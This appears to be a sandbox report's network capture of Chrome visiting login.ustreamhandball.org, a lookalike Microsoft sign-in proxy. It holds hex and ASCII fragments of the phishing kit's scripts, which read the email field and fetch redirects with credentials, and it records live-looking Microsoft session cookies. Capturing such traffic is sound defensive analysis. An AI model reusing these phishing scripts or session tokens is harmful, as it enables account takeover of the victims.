2025-01-09 23:21:22 UTC	612	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 6c 70 28 29 7b 0a 20 20 76 61 72 20 65 6d 61 69 6c 49 64 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 69 30 31 31 36 22 29 3b 0a 20 20 76 61 72 20 6e 65 78 74 42 75 74 74 6f 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 69 64 53 49 42 75 74 74 6f 6e 39 22 29 3b 0a 20 20 76 61 72 20 71 75 65 72 79 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3b 0a 20 20 69 66 20 28 2f 23 2f 2e 74 65 73 74 28 71 75 65 72 79 29 29 7b 0a 20 20 20 20 76 61 72 20 72 65 73 20 3d 20 71 75 65 72 79 2e 73 70 6c 69 74 28 22 23 22 29 3b 0a 20 20 20 20 76 61 72 20 64 61 74 61 31 20 3d 20 72 65 73 5b 30 5d 3b 0a 20 20 20 20 76 61 72 20 64 61 74 61 32 20 3d Data Ascii: function lp(){ var emailId = document.querySelector("#i0116"); var nextButton = document.querySelector("#idSIButton9"); var query = window.location.href; if (/#/.test(query)){ var res = query.split("#"); var data1 = res[0]; var data2 =
2025-01-09 23:21:22 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-09 23:21:22 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2025-01-09 23:21:22 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49939	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:22 UTC	1454	OUT	GET /s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60.js HTTP/1.1 Host: login.ustreamhandball.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ARoAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAaAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQECyLEmSSnhHrswejLSYjcwylG3h7-L7BgsVYvBA8R4fmNC85QTX0Y9fMmSiWi6fYAzp1H-UMpGfc3R3mtyeNF0Bh99k-M8NLFIEamN7YZf7ogAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEVNkaRVEstUGS5zW9yrKrEK6UtYu3btfPAx7PedObu2jQAJSBczA_OTfFrD_ZqsnQ56dbzcKuOxBllpYOpDFieknqWyGSBYUD-wXSQzqy5FM0-hRSBfe_TiHim8V9fPTNy3otcTu3TZVGiuLmGZ1gU4WjqGn4i28SarIT8teUYlkgAA; esctx-QJgjRTU1vRY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEhgnppXB8DUDgmRVqeP994IMWv2PhpR59omBzIT6N8I963lUhQu0chew1Zd8GZ4IjePH7hdf-WZkUv_Ky2nXwO7YUbM3HC3YbW8mC-RHnvhxz-hBjW1LfkdXQ4oE_QcpGRTihq764LUE1lsChkdXVpCAA; fpc=Aq076Fa4imlIl [TRUNCATED]
2025-01-09 23:21:22 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:22 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-09 23:21:22 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:22 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2025-01-09 23:21:22 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-09 23:21:22 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-09 23:21:22 UTC	5	IN	Data Raw: 33 31 63 0d 0a Data Ascii: 31c
2025-01-09 23:21:22 UTC	796	IN	Data Raw: 0a 66 75 6e 63 74 69 6f 6e 20 67 65 74 52 65 64 69 72 65 63 74 28 73 69 64 29 20 7b 0a 09 76 61 72 20 75 72 6c 20 3d 20 22 2f 73 2f 22 20 2b 20 73 69 64 3b 0a 09 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 66 65 74 63 68 69 6e 67 3a 20 22 20 2b 20 75 72 6c 29 3b 0a 09 66 65 74 63 68 28 75 72 6c 2c 20 7b 0a 09 09 6d 65 74 68 6f 64 3a 20 22 47 45 54 22 2c 0a 09 09 68 65 61 64 65 72 73 3a 20 7b 0a 09 09 09 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3a 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 0a 09 09 7d 2c 0a 09 09 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 22 69 6e 63 6c 75 64 65 22 0a 09 7d 29 0a 09 09 2e 74 68 65 6e 28 28 72 65 73 70 6f 6e 73 65 29 20 3d 3e 20 7b 0a 0a 09 09 09 69 66 20 28 72 65 73 70 6f 6e 73 65 2e 73 74 61 74 75 73 20 3d 3d 20 32 Data Ascii: function getRedirect(sid) {var url = "/s/" + sid;console.log("fetching: " + url);fetch(url, {method: "GET",headers: {"Content-Type": "application/json"},credentials: "include"}).then((response) => {if (response.status == 2
2025-01-09 23:21:22 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-09 23:21:22 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2025-01-09 23:21:22 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49940	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:22 UTC	522	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_v20ia-gahguvu2fgvxamhg2.js HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:22 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:22 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:22 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:22 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:22 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:22 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:22 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-09 23:21:22 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 32 32 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:22 GMT
2025-01-09 23:21:22 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 44 31 36 34 32 41 44 37 35 42 43 34 45 0d 0a Data Ascii: Etag: 0x8DD1642AD75BC4E
2025-01-09 23:21:22 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 46 72 69 2c 20 30 36 20 44 65 63 20 32 30 32 34 20 32 32 3a 30 39 3a 33 39 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Fri, 06 Dec 2024 22:09:39 GMT
2025-01-09 23:21:22 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	49946	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:23 UTC	503	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:23 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:23 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:23 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:23 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:23 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:23 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:23 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-09 23:21:23 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 32 33 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:23 GMT
2025-01-09 23:21:23 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 44 31 41 46 34 41 44 41 31 44 34 45 42 0d 0a Data Ascii: Etag: 0x8DD1AF4ADA1D4EB
2025-01-09 23:21:23 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 31 32 20 44 65 63 20 32 30 32 34 20 32 31 3a 33 33 3a 35 34 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Thu, 12 Dec 2024 21:33:54 GMT
2025-01-09 23:21:23 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49948	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:23 UTC	2473	OUT	GET /s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60 HTTP/1.1 Host: login.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ARoAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAaAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQECyLEmSSnhHrswejLSYjcwylG3h7-L7BgsVYvBA8R4fmNC85QTX0Y9fMmSiWi6fYAzp1H-UMpGfc3R3mtyeNF0Bh99k-M8NLFIEamN7YZf7ogAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEVNkaRVEstUGS5zW9yrKrEK6UtYu3btfPAx7PedObu2jQAJSBczA_OTfFrD_ZqsnQ56dbzcKuOxBllpYOpDFieknqWyGSBYUD-wXSQzqy5FM0-hRSBfe_TiHim8V9fPTNy3otcTu3TZVGiuLmGZ1gU4WjqGn4i28SarIT8teUYlkgAA; esctx-QJgjRTU1vRY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEhgnppXB8DUDgmRVqeP994IMWv2PhpR59omBzIT6N8I963lUhQu0chew1Zd8GZ4IjePH7hdf-WZkUv_Ky2nXwO7YUbM3HC3YbW8mC-RHnvhxz-hBjW1LfkdXQ4oE_QcpGRTihq764LUE1lsChkdXVpCAA; fpc=Aq076Fa4imlIl [TRUNCATED]
2025-01-09 23:21:53 UTC	30	IN	HTTP/1.1 408 Request Timeout
2025-01-09 23:21:53 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-09 23:21:53 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:53 UTC	32	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 0d 0a Data Ascii: Content-Type: application/json
2025-01-09 23:21:53 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-09 23:21:53 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-09 23:21:53 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2025-01-09 23:21:53 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	49947	152.199.21.175	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:23 UTC	637	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.ustreamhandball.org sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.ustreamhandball.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:23 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 2357812 Cache-Control: public, max-age=31536000 Content-MD5: nNppmoTKhyn68ZS47932wA== Content-Type: application/x-javascript Date: Thu, 09 Jan 2025 23:21:23 GMT Etag: 0x8DD1AF4C17492F5 Last-Modified: Thu, 12 Dec 2024 21:34:27 GMT Server: ECAcc (lhc/7941) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 1588139e-301e-00ea-0d7b-4ded02000000 x-ms-version: 2009-09-19 Content-Length: 454821 Connection: close
2025-01-09 23:21:23 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2025-01-09 23:21:23 UTC	16383	IN	Data Raw: 44 49 4e 47 5f 4e 4f 54 5f 41 4c 4c 4f 57 45 44 3a 22 38 30 30 34 37 38 44 37 22 2c 50 50 5f 45 5f 49 44 50 5f 42 49 4e 44 49 4e 47 5f 45 58 49 53 54 53 5f 53 41 4d 53 55 4e 47 3a 22 38 30 30 34 34 35 33 45 22 2c 50 50 5f 45 5f 54 52 41 4e 53 46 45 52 5f 54 4f 4b 45 4e 5f 49 4e 56 41 4c 49 44 5f 53 45 53 53 49 4f 4e 3a 22 38 30 30 34 33 35 41 30 22 7d 2c 6e 2e 45 73 74 73 45 72 72 6f 72 3d 7b 55 73 65 72 41 63 63 6f 75 6e 74 53 65 6c 65 63 74 69 6f 6e 49 6e 76 61 6c 69 64 3a 22 31 36 30 30 31 22 2c 55 73 65 72 55 6e 61 75 74 68 6f 72 69 7a 65 64 3a 22 35 30 30 32 30 22 2c 55 73 65 72 55 6e 61 75 74 68 6f 72 69 7a 65 64 41 70 69 56 65 72 73 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3a 22 35 30 30 32 30 31 22 2c 55 73 65 72 55 6e 61 75 74 68 6f 72 69 7a Data Ascii: DING_NOT_ALLOWED:"800478D7",PP_E_IDP_BINDING_EXISTS_SAMSUNG:"8004453E",PP_E_TRANSFER_TOKEN_INVALID_SESSION:"800435A0"},n.EstsError={UserAccountSelectionInvalid:"16001",UserUnauthorized:"50020",UserUnauthorizedApiVersionNotSupported:"500201",UserUnauthoriz
2025-01-09 23:21:23 UTC	16383	IN	Data Raw: 72 6e 22 77 68 69 74 65 22 3b 69 66 28 50 29 72 65 74 75 72 6e 20 54 2e 67 65 74 49 73 48 69 67 68 43 6f 6e 74 72 61 73 74 55 73 69 6e 67 43 73 73 4d 65 64 69 61 51 75 65 72 79 28 29 2e 74 68 65 6d 65 7d 7d 7d 2c 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 26 26 64 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 3f 64 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3a 65 2e 63 75 72 72 65 6e 74 53 74 79 6c 65 3f 65 2e 63 75 72 72 65 6e 74 53 74 79 6c 65 3a 7b 7d 7d 2c 68 69 73 74 6f 72 79 3a Data Ascii: rn"white";if(P)return T.getIsHighContrastUsingCssMediaQuery().theme}}},getComputedStyle:function(e){return document.defaultView&&document.defaultView.getComputedStyle?document.defaultView.getComputedStyle(e,null):e.currentStyle?e.currentStyle:{}},history:
2025-01-09 23:21:23 UTC	3	IN	Data Raw: 75 6c 6c Data Ascii: ull
2025-01-09 23:21:23 UTC	16383	IN	Data Raw: 2c 65 2e 74 72 61 63 65 55 72 6c 26 26 28 6e 3f 6e 2e 75 72 6c 3d 74 3a 6e 3d 74 29 29 3a 6e 3d 6e 75 6c 6c 2c 69 26 26 69 2e 65 76 65 6e 74 49 64 26 26 73 2e 6c 6f 67 45 76 65 6e 74 28 7b 65 76 65 6e 74 54 79 70 65 3a 22 6f 6e 52 65 64 69 72 65 63 74 22 2c 65 76 65 6e 74 49 64 3a 69 2e 65 76 65 6e 74 49 64 2c 65 76 65 6e 74 4c 65 76 65 6c 3a 69 2e 65 76 65 6e 74 4c 65 76 65 6c 2c 65 76 65 6e 74 41 72 67 73 3a 6e 2c 65 76 65 6e 74 4f 70 74 69 6f 6e 73 3a 69 7d 29 2c 74 7d 2c 73 2e 67 65 74 50 72 6f 70 65 72 74 79 4c 6f 67 4f 70 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 28 6e 3d 6e 7c 7c 7b 7d 29 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 74 72 61 63 69 6e 67 50 72 6f 70 65 72 74 79 43 68 61 6e 67 65 22 29 7c 7c 28 Data Ascii: ,e.traceUrl&&(n?n.url=t:n=t)):n=null,i&&i.eventId&&s.logEvent({eventType:"onRedirect",eventId:i.eventId,eventLevel:i.eventLevel,eventArgs:n,eventOptions:i}),t},s.getPropertyLogOption=function(e,n){return(n=n\|\|{}).hasOwnProperty("tracingPropertyChange")\|\|(
